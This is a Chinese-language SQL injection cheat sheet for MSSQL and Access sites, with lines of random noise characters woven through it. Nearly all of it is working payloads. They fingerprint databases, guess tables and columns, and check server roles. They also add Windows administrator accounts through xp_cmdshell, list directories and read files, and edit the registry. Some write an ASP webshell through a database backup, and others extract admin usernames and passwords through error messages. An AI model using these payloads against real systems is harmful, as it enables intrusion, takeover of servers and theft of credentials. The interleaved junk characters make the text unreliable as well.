1.判断是否有注入
8 v( M, d! |3 ?! r' e& ?8 P0 J b7 }, m, |;and 1=1
. ]% W& {. z& y# S# @;and 1=2
M3 E: ^ t: v1 Y1 u8 |. L. l; ?( Z0 ]) r, }: Z4 q6 F
2.初步判断是否是mssql
7 B; U3 o- e$ o: ~) J;and user>0
% N, U2 S: C6 [, X0 J
. w$ n% V6 `' _* D `: Y9 z3.判断数据库系统 9 w1 i& {: g/ @" G! Q2 p* t# u% q
;and (select count(*) from sysobjects)>0 mssql * J1 o7 e* _# H; W8 P( ]( \
;and (select count(*) from msysobjects)>0 access % l3 p4 B; t2 m" _
' S: J) E% w$ l
4.注入参数是字符
5 `/ d" w/ a* E* `'and [查询条件] and ''='
: ^( p8 a# \* R5 b4 W# n7 W: ^
5.搜索时没过滤参数的 8 v$ M" Y) {. l, Y
'and [查询条件] and '%25'=' 0 e' }8 u* i6 h: O8 K2 V
+ K8 {. ~. F$ j0 v6.猜数表名 * [/ k: h( N8 H x& m2 }+ g
;and (select Count(*) from [表名])>0
0 ?1 ?. S/ T F: B, Z9 o, t0 G" G. Y: k, a8 v! j6 ?1 A: T! o: E c! A
7.猜字段
# f1 w1 X0 ^. Y;and (select Count(字段名) from 表名)>0 " r$ o% C4 a0 ?6 t
- I) W5 B: w. T( k9 j8.猜字段中记录长度
( u: O6 {; u2 c, T* |6 c4 W;and (select top 1 len(字段名) from 表名)>0 / r$ Z& T7 R% I4 C; r
6 P) {6 n) j; N, _- n
9.(1)猜字段的ascii值(access) ( ]6 ^- o& h1 K9 c% p0 F3 B9 F
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 & I: f d1 A% B- K
, h0 J4 v. k/ ?, c- b" R- X(2)猜字段的ascii值(mssql)
& k, Z" \% s$ D# q;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
+ [- C3 |3 w, R% J1 T# j9 m7 C' d* M$ {% v
10.测试权限结构(mssql) 0 s2 F9 v7 `7 g" X7 P& B
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
9 w8 O( q, M7 E;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ! w @5 S& o* p) y2 m S
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ) C! y. K& E( V0 [1 g) x% W w1 G
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
# _3 O A7 \% F! ~9 g1 t;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 1 |/ M+ K* q H$ [2 g L
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
& ], |& X6 E9 R* s;and 1=(select IS_MEMBER('db_owner'));--
/ v2 [. I2 a( p+ H- ?0 @! n \( H, ?
11.添加mssql和系统的帐户
2 B u X, n5 [. ?) a;exec master.dbo.sp_addlogin username;-- / f+ R# N, s z0 F
;exec master.dbo.sp_password null,username,password;--
( s: R0 h, c! [8 r2 e;exec master.dbo.sp_addsrvrolemember sysadmin username;-- / S5 M1 S2 e+ s/ y8 P' U5 M
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 0 j+ T3 A8 p4 e" b: Z! \, a+ X
;exec master.dbo.xp_cmdshell 'net user username password /add';-- % R' B! j& r; R4 B6 b0 S
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
% F5 t( z# [0 b3 r, b, u7 |
) L; v; P8 d1 y7 Y12.(1)遍历目录
, b6 ?& q$ z2 }) V* j; H;create table dirs(paths varchar(100), id int)
1 O# O, Z- o: x" y. N;insert dirs exec master.dbo.xp_dirtree 'c:\'
2 h) a2 y) ?% u' P;and (select top 1 paths from dirs)>0
+ N- v$ c8 |# a6 u* X;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ; Q( e+ `4 G: V7 p8 U+ s) x+ s
* ]( R4 b3 E. G& `: ]8 k# U" {(2)遍历目录 " V. x3 @5 ~: ~3 f6 m8 n
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- * v9 m5 \* p, U0 }
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ! @% c# l; R: v) z' m% L
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
2 _% ~! l0 C% h" s' n;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
5 f% a! c; U/ l, \4 K;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
% ~; j! ?2 j3 o V
R+ ?; Q. }. g8 ^# |6 G9 x13.mssql中的存储过程 # S) H- F# ?. G8 L2 G
xp_regenumvalues 注册表根键, 子键
2 p8 N! W! r3 _0 L. b0 r3 E2 m. F$ g;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
! n0 G3 T1 E6 s& _: \. j4 a4 P& Wxp_regread 根键,子键,键值名
& @1 Z* K9 \3 `+ {/ g7 s- w;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 5 R. O6 d& K$ z7 y: ]7 a( C
xp_regwrite 根键,子键, 值名, 值类型, 值 $ d; E0 M1 ^ F! B# v( H
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
# ~) Y( j, [: M1 X;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 2 l$ y% J c0 T2 k" C
xp_regdeletevalue 根键,子键,值名
8 y2 A8 e7 b6 L/ C7 m& Eexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 ! j6 k: R5 w b# l# |5 D9 _
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
$ ?7 F" H/ H5 E+ j o2 x7 Z4 p7 S1 m5 ^
14.mssql的backup创建webshell # |* {- F5 g, O' r# X* t
use model
' A: w8 l, W1 o5 e. _2 k$ p) Xcreate table cmd(str image);
3 |6 I: d c0 C, j7 Ainsert into cmd(str) values ('<% Dim oScript %>');
) w. w. ]6 Y3 v& X- R* tbackup database model to disk='c:\l.asp'; # [# j) [* `1 r- E* u% j
: ~, A1 k) C4 y8 Q: O15.mssql内置函数
5 K* T: f+ f& e2 i6 I;and (select @@version)>0 获得Windows的版本号
K# W: n, \, m3 u3 I! s;and user_name()='dbo' 判断当前系统的连接用户是不是sa ! k# U% L; A r+ t* X
;and (select user_name())>0 爆当前系统的连接用户
3 V( a' Y( i$ X8 Q: N% T3 z4 x;and (select db_name())>0 得到当前连接的数据库 : N K& p/ ?7 P2 P" n7 a+ ?) @
/ _( ^0 f- x! z: w, {' V s- ^( \* T; P
0 v7 j1 }! D2 _0 l/ K) rMSSQL手注暴库
7 u0 H! y6 ?' |! o. a: Z/ t# L
3 W& n( ~7 r0 g7 `! R% X1.暴出当前表名和列名
) z: T5 d( |9 X. r9 j K7 x- i在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
" i9 V/ o" e1 ~: D4 {6 a
( ^3 A' ^; n' @. [$ X# ]5 F0 U) W第一.爆出所有数据库名
- O0 q6 }# b: ~( d) {利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。* T- u9 |, V; a0 p4 t
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。. L j! U% @! Y/ s
: q& u2 {/ Q$ B& A) v4 Q7 wand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名6 A* M. X5 S) r# {( ?1 ~ y
" j4 Z4 f7 m6 |* ]: j+ g L6 N
% m o' h0 H8 r9 x" U第二.爆出指定库中的所有表名, F! N! B+ c4 \: d9 i
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
3 J) z& X N* L2 V再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
) P; K7 x( }5 @" X
4 S A7 g& P1 ^% \+ a% Y Band 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--; Y( t7 H7 Z9 V
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--% g9 t- U- c- |; E, \* X! I% m/ {; E
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
% x; w+ A4 U) E& ]! P: [9 d8 B: N- i5 i* Q# ?3 {# f
4.爆出指定表中的所有列名
) F1 K; x7 h" x2 D1 Pand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) ! ` |2 C8 U, q7 K, K
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'+ K4 ~5 K8 D' I8 z" D3 h/ ?+ ?
: |+ X5 ?* Q. U4 |- W$ Pand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名
7 `: L7 E" A. A/ S J
8 k8 V7 S4 F' n% r4 `再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- ( V% D. n! I& N! [$ \2 y2 o0 n
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。9 \" J9 p h! Z! J* @4 e4 s$ o
0 p/ ^0 s: _7 D1 ?
4 B7 z: E, o' E0 @0 u3 H% Oand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值
0 q9 ^: q y3 Y. \
+ x0 s) b+ K( P( {and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名- r" r z8 w; |& l' N# B
" _9 H; ^ {" y* V% l
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- # _* R8 u5 K5 c7 L
' ^/ [% I& `' ]
- {/ K" R1 ?" N) `" i& k y% E& H
5.读取指定表中的数据. i$ N* \. P* K: o
/ e# [, l4 j2 v1 ]% z& ?0 Q, Cand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 1 u7 W$ z- E: c, `, i
/ C7 U9 c3 ^' d: e1 h
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--1 M( e$ `5 j% U( T& I
/ v+ X4 f$ ?' x3 f% a
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
5 U, W$ ?6 \2 ~- Q
/ @; B5 O6 P2 [1 q* t/ Y* x# a4 p: B$ C! E& H+ [
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)/ y+ k! r2 p0 K( z1 N
) q8 T- |2 X: M6 {and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
) c& l3 k4 w# T; ] E
2 @1 d' n/ F5 R' C0 aand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--9 ^, C( m6 L; r% @! I
0 y) y/ [$ c! H4 B* T) A+ L x知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
# V, o8 p. F, q7 n; N7 { |